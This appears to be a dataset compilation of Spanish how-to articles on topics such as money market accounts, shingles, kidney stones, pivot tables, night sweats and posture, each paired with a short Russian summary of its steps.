Una cuenta de mercado monetario, algunas veces conocida como una cuenta de ahorros de alto rendimiento, por lo general brinda una tasa de rendimiento más alta que una cuenta de ahorros tradicional, a la vez que también es necesario tener un saldo mínimo más alto. Esta cuenta se invierte en los valores de una empresa o del gobierno y paga tasas de interés a partir de esas inversiones. Es una cuenta completamente distinta de un fondo de mercado monetario, la cual la ofrecen los corredores de bolsa.  Así como otras cuentas de ahorro, las cuentas de mercado monetario de los bancos de Estados Unidos están aseguradas por la FDIC y, por lo tanto, también estás sujetas a la restricción de seis retiros. A diferencia de las cuentas de ahorro tradicionales, las cuentas de mercado monetario a menudo ofrecen una capacidad limitada para emitir cheques. Llama al banco o lee la página web de tu banco para saber cuántas veces puedes retirar dinero en un mes. Estas cuentas siguen el límite federal de retiros y te sancionarán si tus retiros conducen a que el saldo de tu cuenta esté por debajo del mínimo. Estas acciones se podrían ver como retiros, aun cuando los fondos no vayan directamente a un sitio de terceros. Las cuentas de mercado monetario regularmente brindan cheques a los clientes, colocándolas en algún punto entre cuentas de ahorros sin capacidad de emitir cheques y cuentas corrientes con capacidad ilimitada de cheques. Te podrían permitir emitir hasta tres cheques desde la cuenta cada mes.

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Знайте все о вашем счете денежного рынка. Отслеживайте свои ежемесячные снятия и знайте правила и ограничения вашего банка. Вы можете перевести необходимую сумму денег на текущий чековый счет через интернет или лично. Вы можете выписывать чеки.


Una de cinco personas con culebrilla tendrá neuralgia posherpética. Puedes tenerla si experimentas un dolor intenso en la misma área en la que apareció la erupción de la culebrilla. Puede durar semanas o meses. Algunas personas pueden experimentar los síntomas por años.  Mientras más años tengas, más probable será que desarrolles neuralgia posherpética.  Si experimentas dolor cuando las cosas tocan tu piel (por ejemplo, ropa, viento o personas), puedes tener neuralgia posherpética. Si esperas mucho tiempo para buscar tratamiento, puedes ser más propenso a desarrollar neuralgia posherpética. Si bien la neuralgia posherpética es la complicación más común, hay otras complicaciones como neumonía, problemas auditivos, ceguera, inflamación cerebral (encefalitis) o muerte. Las cicatrices, la infección bacteriana de la piel y la debilidad muscular local también son posibles complicaciones. Si crees que sufres de neuralgia posherpética o de otras complicaciones de la culebrilla, debes visitar a un médico. Este podrá elaborar un plan de tratamiento para controlar las complicaciones. El plan de tratamiento se centrará en controlar el dolor crónico.  El plan de tratamiento puede incluir agentes tópicos como lidocaína, analgésicos como oxicodona, anticonvulsivos como gabapentina (Neurontin) o pregabalina (Lyrica) o intervenciones psicosociales. Muchas personas pueden experimentar depresión u otros problemas de salud mental al lidiar con el dolor crónico. El médico puede prescribirte antidepresivos o recomendar que recibas terapia cognitivo conductual. Esta terapia puede incluir técnicas de relajación o hipnosis. Ambas técnicas son efectivas para controlar el dolor crónico. Si tienes 60 o más, debes ponerte la vacuna contra la culebrilla. Aunque hayas tenido este trastorno antes, de todas formas debes ponerte la vacuna. Puedes ponértela en el consultorio de un médico o en la farmacia.  La vacuna contra la culebrilla debe estar cubierta por los planes de la parte D de Medicare o por un seguro privado de salud.  Debes...

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Важно вовремя распознать симптомы ПГН. Обращайте внимание на другие возможные осложнения. Проконсультируйтесь с врачом. Сделайте вакцинацию от опоясывающего герпеса. Следите за своим здоровьем.


Una de las características determinantes de los cálculos renales (piedras en el riñón) es que causan un dolor intenso cuando se quedan atascados y ocasionan una obstrucción. Por lo general, el dolor se ubica en el área lateral (al costado, entre las costillas y la cadera). También podría encontrarse en la parte baja del abdomen. Así mismo, podría moverse hacia la ingle con el paso del tiempo.  El dolor de los cálculos renales aparece en forma de ondas, es decir, el dolor se alivia e intensifica constantemente. Por lo general, a las personas les duele más si se quedan sentadas o recostadas. Por el contrario, se podría aliviar el dolor un poco moviéndose de un lugar a otro. La sangre en la orina es otra característica de los cálculos renales (piedras en el riñón). Sin embargo, hay una salvedad para notarla: la sangre podría ser o no visible a simple vista.  Si es visible, es probable que sea de color rosa o rojizo. Si no ves ningún cambio en el color de tu orina, pero sientes dolor y presentas otros síntomas que indican que tienes cálculos renales, el médico podría someter a prueba tu orina y tomar restos microscópicos de sangre que podrían haber pasado desapercibidos a simple vista. Además de sangre en la orina, muchas personas con cálculos renales (piedras en el riñón) presentan otros síntomas urinarios. Entre ellos se encuentran:  ganas urgentes de orinar; dolor al orinar; náuseas o vómitos; una apariencia de piedras pequeñas en la orina, que podrían indicar el paso de cálculos renales pequeños. Las probabilidades de que desarrolles cálculos renales también aumentan en proporción a tus factores de riesgo. Entre ellos se encuentran:  antecedentes personales de cálculos renales; antecedentes familiares de cálculos renales; sobrepeso; factores alimenticios (si tu dieta es demasiado rica en proteínas, azúcar o sodio, tu riesgo de desarrollar cálculos renales aumenta); deshidratación, que te predispone a la formación de cálculos renales; ciertas enfermedades gastrointestinales o cirugías que afectan la absorción...

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Обратите внимание на боль. Остерегайтесь наличия крови в моче. Обратите внимание на прочие симптомы мочевыводящих путей. Учтите факторы риска.


Una de las características principales de la tabla dinámica es la capacidad de organizar los resultados y ver reportes dinámicos. Puedes ordenar y filtrar cada etiqueta haciendo clic en el botón de la flecha que se encuentra junto a su encabezado. Después podrás organizar la lista o filtrarla para que muestre algunos datos específicos. La tabla dinámica se actualizará automáticamente cuando modifiques la hoja de cálculo de origen. Esta característica es excelente para supervisar las hojas de cálculo y hacerle seguimiento a los cambios. Es increíblemente fácil cambiar la ubicación y el orden de los campos de una tabla dinámica. Prueba a arrastrar los campos a áreas diferentes para crear una tabla dinámica que se ajuste precisamente a tus necesidades. El nombre de "tabla dinámica" proviene de esta característica. Mover la información a lugares diferentes se conoce como "dinamizar", ya que cambias el orden en el que se muestran los datos. Puedes crear una gráfica dinámica que muestre un reporte visual que se actualice automáticamente a partir de una tabla dinámica completa, lo cual hace que el proceso de crear gráficos sea muy rápido.

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Сортируйте и фильтруйте свои результаты. Обновление вашей таблицы. Изменение вашей сводной таблицы. Создание сводной диаграммы.


Una de las causas más comunes de eyaculación precoz en hombres son los nervios y la ansiedad por la calidad de su desempeño. Lo mejor que puedes hacer es relajarte y concentrarte en disfrutar el contacto con tu pareja. Recuerda que la intimidad es tan importante como el placer en el sexo y el buen sexo se debe más a la química que al vigor o la habilidad que tengas. Si ves que te estresas o distraes, respira hondo y tómate un momento para reconectarte con tu pareja. El método más común que los hombres y algunas mujeres usan para demorar su orgasmo es pensando en cosas triviales durante el sexo. No pienses tanto en el placer que sientes y trata de resolver problemas matemáticos básicos en tu mente hasta que estés listo para llegar al clímax.  Evita pensar en temas o imágenes estresantes o desagradables. Estos pueden hacer que pierdas la excitación en vez de prolongarla. Más bien, trata de pensar en algo más abstracto, como formas geométricas o la letra de tu canción favorita. No prolongues tu vigor a costa de disfrutar con tu pareja. Una sesión sexual demasiado larga puede ser aburrida para ambos si te pasas todo el rato en las nubes. Usa esta técnica con moderación y enfócate más en interactuar con tu pareja.

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Не волнуйтесь. Подумайте о чем-то другом.


Una de las causas más comunes de los sudores nocturnos es una habitación muy caliente o frazadas que abrigan mucho. Trata de disminuir la temperatura de tu habitación, con un ventilador o menos frazadas. Si sudas por la noche más que esporádicamente y no solucionas este problema modificando la temperatura de la habitación o las frazadas que usas, podrías sudar mientras duermes. Si este es tu caso, tendrás que buscar un tratamiento médico.  Ponte pijamas de seda o de bambú que absorban la humedad. Encuentra algo cómodo, que ayude a regular la temperatura corporal y que mantenga el sudor fuera de tu piel.  Escoge sábanas que absorban la humedad, lo cual ayudará a mantener el sudor fuera de tu cuerpo.  Evita las sábanas sintéticas, que atraparán el sudor y empeorarán los sudores por la noche.  Si vives en un lugar cálido, abre las ventanas en la noche. Mantén tu habitación entre 15 y 18 °C (60 y 65 °F ). Pídele al médico un control físico completo para ver si tus sudores nocturnos guardan relación con un problema de salud subyacente. Por lo general, los sudores nocturnos guardan relación con un problema de salud específico con otros síntomas, aunque algunas personas sí sudan en la noche por una causa desconocida (hiperhidrosis idiopática). Acude al médico si presentas alguno de los siguientes signos o síntomas:  Sudas en la noche de forma habitual.  Los sudores nocturnos interrumpen tu sueño.  Los sudores nocturnos aparecen junto con otros síntomas, como fiebre. Si sudas bastante mientras duermes y quieres encontrar un médico que se especialice en este problema de salud, debes buscar un doctor con experiencia previa en esto. Pídele a tu médico de cabecera que te refiera a un especialista. La Sociedad de Hiperhidrosis Internacional cuenta con un buscador de médicos especialistas en hiperhidrosis que puedes revisar en línea. Dado que muchos medicamentos ocasionan sudores nocturnos como un efecto secundario, debes revisar si los medicamentos recetados son los culpables. Muchos medicamentos recetados para la...

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Проверьте температуру в спальне. Запишитесь на прием к врачу. Поищите врача, который занимается гипергидрозом. Спросите врача, может ли усиленное потоотделение быть вызвано препаратами, которые вы принимаете. Выясните, не связано ли повышенное потоотделение с проблемами со сном либо с повышенной тревожностью. Узнайте, может ли гипергидроз быть вызван гипогликемией. Выясните, нет ли у вас скрытых проблем со здоровьем.


Una de las causas más comunes del dolor de estómago es el estreñimiento: el cuerpo necesita desplazar las heces, pero algo bloquea o impide este desplazamiento. Puedes aliviar el estreñimiento mediante el consumo de artículos ricos en fibra como las ciruelas pasas, el salvado o el brócoli. En especial, las ciruelas pasas son potentes gracias a su contenido de sorbitol (un laxante natural) y una cantidad significativa de fibra.  Si sigues estreñido aún después de ingerir alimentos y bebidas ricas en fibra, prueba un laxante suave como un polvo soluble en agua o un té con senósidos. Tomar una taza de café también ayuda a estimular los músculos del tracto digestivo para provocar una evacuación. Pero no debes tomarlo todo el día. Dado que el café es un diurético natural, el exceso puede deshidratarte y empeorar el estreñimiento.  El jugo de ciruela es popular por su capacidad de estimular el intestino y favorecer las evacuaciones. Toma un vaso pequeño en la mañana y otro en la tarde para combatir el estreñimiento. Los estudios han descubierto que dichas hierbas pueden calmar las náuseas y los malestares abdominales generales. El jengibre regula la digestión, mientras que la menta y la manzanilla son eficaces sobre todo para aliviar los calambres musculares. También es posible masticar hojas de menta hervidas o tomar agua de jengibre en vez de tomarlas en la forma de té. Para preparar el agua de jengibre, echa unos trozos de jengibre en agua caliente, déjalo en infusión y cuela la mezcla. La mayoría de los antiácidos de venta libre contienen bicarbonato como su principal ingrediente, así que la próxima vez evita ir a la farmacia y elabora tu propio antiácido casero. Disuelve 1 cucharada de bicarbonato en un vaso de agua tibia y toma la solución poco a poco. Repite el proceso cada 2 o 3 horas hasta que desaparezcan las náuseas o la indigestión. A diferencia del vinagre blanco común, el vinagre de manzana calma las náuseas debido a que absorbe los nutrientes indeseables en el estómago. Agrega 2 o 3 cucharadas a un...

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Съешьте чернослив или что-нибудь еще с высоким содержанием пищевых волокон. Выпейте чай из перечной мяты, ромашки или имбиря. Приготовьте водный раствор пищевой соды. Выпейте яблочный уксус. Выпейте немного сока алоэ вера.


Una de las causas más comunes por las que salen callosidades es el mal calzado que se usa. Si tus zapatos no te quedan bien, es más fácil que te salgan callos, así que consíguete unos que te queden bien. Deben quedarte ajustados (pero no lastimarte) y deben ser del ancho de tus pies. Evita los tacones siempre que puedas. Los tacones hacen que pongas todo tu peso sobre la bola de tus pies: la receta para que te aparezcan callos. Usa zapatos planos siempre que puedas, además son más cómodos.Si la callosidad está en tus manos, usa guantes acolchados cómodos de llevar. Así aliviarán y reducirán el problema. Asegúrate de que los guantes te queden bien, porque los guantes holgados harán lo contrario e irritarán más tu piel debido a la constante fricción que producen. Las callosidades, las durezas y los juanetes no son un fenómeno nuevo. Por eso, una gran cantidad de compañías ha comenzado a sacar líneas de calzado diseñadas para eliminarlos. Muchos están hechos de molesquín y se adaptan fácilmente a los pies, a la forma de las tiras o a los parches. Para las durezas, usa parches en forma de rosquilla. Estos parches se ponen sobre la dureza y disminuyen la presión, el roce y la fricción. Son económicos y fáciles de encontrar en cualquier tienda o farmacia. No tienes que ir necesariamente al médico para encontrar la solución que alivie el problema: los parches, esparadrapos y demás se venden sin receta médica fácilmente. Sin embargo, muchos de estos contienen ácido salicílico, uno de los componentes activos, que puede causar una irritación o infección más molesta (o grave) que el problema que estabas tratando de solucionar al principio. Si sufres alguna de las siguientes afecciones, es mejor evitarlos:  Si tienes diabetes. Si has perdido sensación en los pies, ya sea por problemas de circulación o por daños neurológicos. Si tienes mala visión o flexibilidad y no puedes usar el producto de manera adecuada.

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Смените обувь. Выберите правильные стельки. Рассмотрите применение лекарственных препаратов.


Una de las cosas agradables que puedes hacer por tu hermano es ofrecerte a ayudarlo con su tarea y su trabajo escolar. Si tiene una exposición oral pronto, ofrécete a escuchar su presentación. Si tiene dificultades con un deber de matemática, siéntate con él y ayúdale a resolverlo. Enfócate en las maneras prácticas de ayudarlo a que termine al ofrecerle tu conocimiento en una asignatura en particular o al solo darle una mano de modo que termine su proyecto puntualmente. De igual forma, puedes ofrecerte a ayudarle a completar sus quehaceres en la casa o dividirlos con él si trabaja en un trabajo escolar con un plazo de entrega. Quizás, tu hermano tendrá una presentación o un gran evento deportivo. Esfuérzate por estar en la audiencia y anímalo desde las tribunas. Asistir a sus eventos especiales será un acto agradable que puedes hacer por él como una manera para demostrarle tu apoyo como hermano o hermana mayor. Como su hermano o hermana mayor, debes vigilarlo y defenderlo si se mete en unas situaciones incómodas o delicadas. Podrías tener que confrontar al estudiante agresivo que le hace bullying si comienza a molestarlo o ser el mediador de una pelea entre tus padres y él. Trata de permanecer de su lado y esforzarte con él para resolver los problemas que tenga con otras personas. Cuidar sus espaldas le demostrará que estás dispuesto a ponerte a su disposición y a apoyarlo. Un buen hermano o una buena hermana mayor actúa como el campeón de su hermano y lo alienta a que sea lo mejor que puede ser. Nota las habilidades y los talentos de tu hermano y luego esfuérzate activamente para ayudarlo a desarrollarlos y mejorarlos. Por ejemplo, si demuestra un interés en la pintura, podrías alentarlo a que tome unas clases de pintura o acondicionarle un estudio de pintura en casa. Por ejemplo, si te comparte un objetivo personal, como el deseo de ir a una universidad del grupo de ocho universidades privadas de Nueva Inglaterra, debes esforzarte con él para ayudarle a lograr su objetivo. Esto podría significar ayudarle...

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Помогайте брату или сестре с домашними заданиями и другими обязанностями. Приходите на спектакли и соревнования. Занимайте сторону брата или сестры в непростых ситуациях. Мотивируйте брата или сестру следовать своим интересам и целям.


Una de las formas más comunes de elegir un segundo nombre es utilizar la oportunidad para honrar a un familiar cercano. Elegir el nombre de uno de los abuelos como segundo nombre de tu hijo o hija puede ser una forma genial y conmovedora de rendir homenaje a tus antepasados.  Puedes regresar en el tiempo solo un poco o ir a las raíces de tu árbol genealógico. Encuentra a tus parientes lejanos en tu genealogía a fin de descubrir qué nombres históricos interesantes e inusuales forman parte del origen de tu familia. Si alguno de los padres renunció a su apellido luego de casarse, también es habitual utilizarlo como el segundo nombre de un hijo o hija. El segundo nombre puede ser una excelente oportunidad para elegir una palabra con significado espiritual o cultural, lo que brindará al nombre de tu hijo o hija una cualidad histórica y trascendente. Asimismo, darle el nombre de alguno de tus personajes favoritos, como el de un santo, mártir, ícono cultural o cualquier otra figura religiosa, puede añadirle seriedad. Piensa en nombres que influencien la forma como ves el mundo y tu propia conducta moral. Los nombres de la cultura popular son muy buenas opciones, sobre todo si suenan bien. Si Johnny Cash es muy importante para ti, nombrar a tu hijo Carlos Cash podría ser una excelente manera de rendir homenaje a este personaje. A veces se utiliza el segundo nombre como una oportunidad para regresar al pasado y elegir un nombre “retro” o histórico que no sea usual. Los nombres como “Rosamaría” o “Orville” son poco comunes en la era digital, lo que los convierte en excelentes opciones únicas que puedes utilizar como segundo nombre para tu hijo o hija. Busca algunas novelas románticas de hace 100 años y mira los nombres antiguos. Crea una lista y revísala para ver si alguno te gusta. Una opción de último minuto es utilizar una palabra o nombre fortuito como segundo nombre. Esta puede ser una excelente manera de utilizar el azar y las coincidencias para elegir un nombre, lo que podría ser bastante único y conmovedor para...

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Чаще всего второе имя выбирают в честь какого-то родственника. Если вы религиозный человек, вы можете использовать библейское имя в качестве своего «второго имени». Можно выбрать классическое или историческое название. Вы можете использовать в имени месяц рождения.


Una de las formas principales en las que puedes desarrollar una joroba es mirar hacia abajo de forma constante para observar diversos objetos, en lugar de mantener la cabeza erguida o incluso mirar hacia arriba. Colocar tu teléfono a la altura de la vista cuando escribas mensajes o navegues en internet para cambiar este hábito. Deberás hacer lo mismo al usar un lector de libros electrónicos o un libro convencional. También podrás comprar un estante o soporte para tu laptop, así la elevarás a la altura de los ojos. Es muy sencillo olvidar que debes mantener una postura erguida durante todo el día, sobre todo en el trabajo. Para evitar que te encorves al usar el teclado, podrás programar una alarma en tu teléfono para que suene cada 30 minutos. Cuando la alarme suene, deberás verificar tu postura al enderezar la columna y empujar los hombros hacia atrás. Algunas personas consideran útil escribir notas recordatorias en su escritorio (como “¡Enderézate!”). Ve a la tienda de productos de dormitorio de tu localidad y busca las almohadas que ofrezcan. Busca una que esté diseñada para mantener la cabeza y el cuello con una alineación adecuada durante toda la noche. Estas suelen estar hechas de espuma y tienen 2 bordes exteriores y una hendidura en el centro para la cabeza.  Alístate para el periodo de adaptación cuando cambies tu almohada convencional por una de contorno anatómico. Podrías tener dificultades para dormir en cualquier otra posición además de boca arriba, por lo menos al principio. Si duermes en una cama firme, a veces esto también puede ser de utilidad para mejorar una joroba. Estos nutrientes se encargan del crecimiento y el mantenimiento de huesos saludables en el cuerpo. Incluye en tu dieta más queso, jugo o productos cereales fortificados, vegetales de hoja y frutas cítricas. Lleva una naranja al trabajo como un bocadillo para el mediodía o prepara una ensalada de col rizada para el almuerzo. Asimismo, puedes tomar un multivitamínico a fin de garantizar que obtengas suficiente calcio y vitamina D....

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Держите предметы на уровне глаз. Заведите будильник для контроля осанки. Спите на ортопедической подушке. Увеличьте потребление пищи, содержащей кальций и витамин D.